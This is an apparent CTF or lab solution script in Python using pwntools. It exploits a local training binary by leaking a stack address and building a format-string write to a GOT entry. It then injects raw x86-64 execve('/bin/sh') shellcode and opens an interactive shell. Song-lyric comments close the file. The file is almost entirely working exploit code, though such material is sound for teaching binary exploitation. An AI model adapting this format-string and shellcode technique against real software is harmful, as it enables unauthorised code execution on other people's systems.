# +------------------------------------------------+
# | Atack: Format String GOT Shellcode             |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *
import time
import sf

target = process("./Correction-FsGotShellcode-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("Tell me I was never good enough: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
ret_address = leak + (168)
fs = sf.WriteFmtStr(
		arch = 64,
		value = -0x50,
		address = 0x4033b8,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = ret_address,
		address_base = 0)

payload = sf.BufferOverflow(arch=64, start=168)
payload.add_bytes(168, fs.generate_fmt_str())
payload.add_bytes(80, b"\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05")
target.sendline(payload.generate_payload())


target.interactive()

# +------------------------------------------------+
# | Artist: Ice Nine Kills                         |
# +------------------------------------------------+
# | Song: American Nightmare                       |
# +------------------------------------------------+
# | Rest your head,                                |
# | here's a lullaby,                              |
# | A melody for heavy eyes                        |
# +------------------------------------------------+

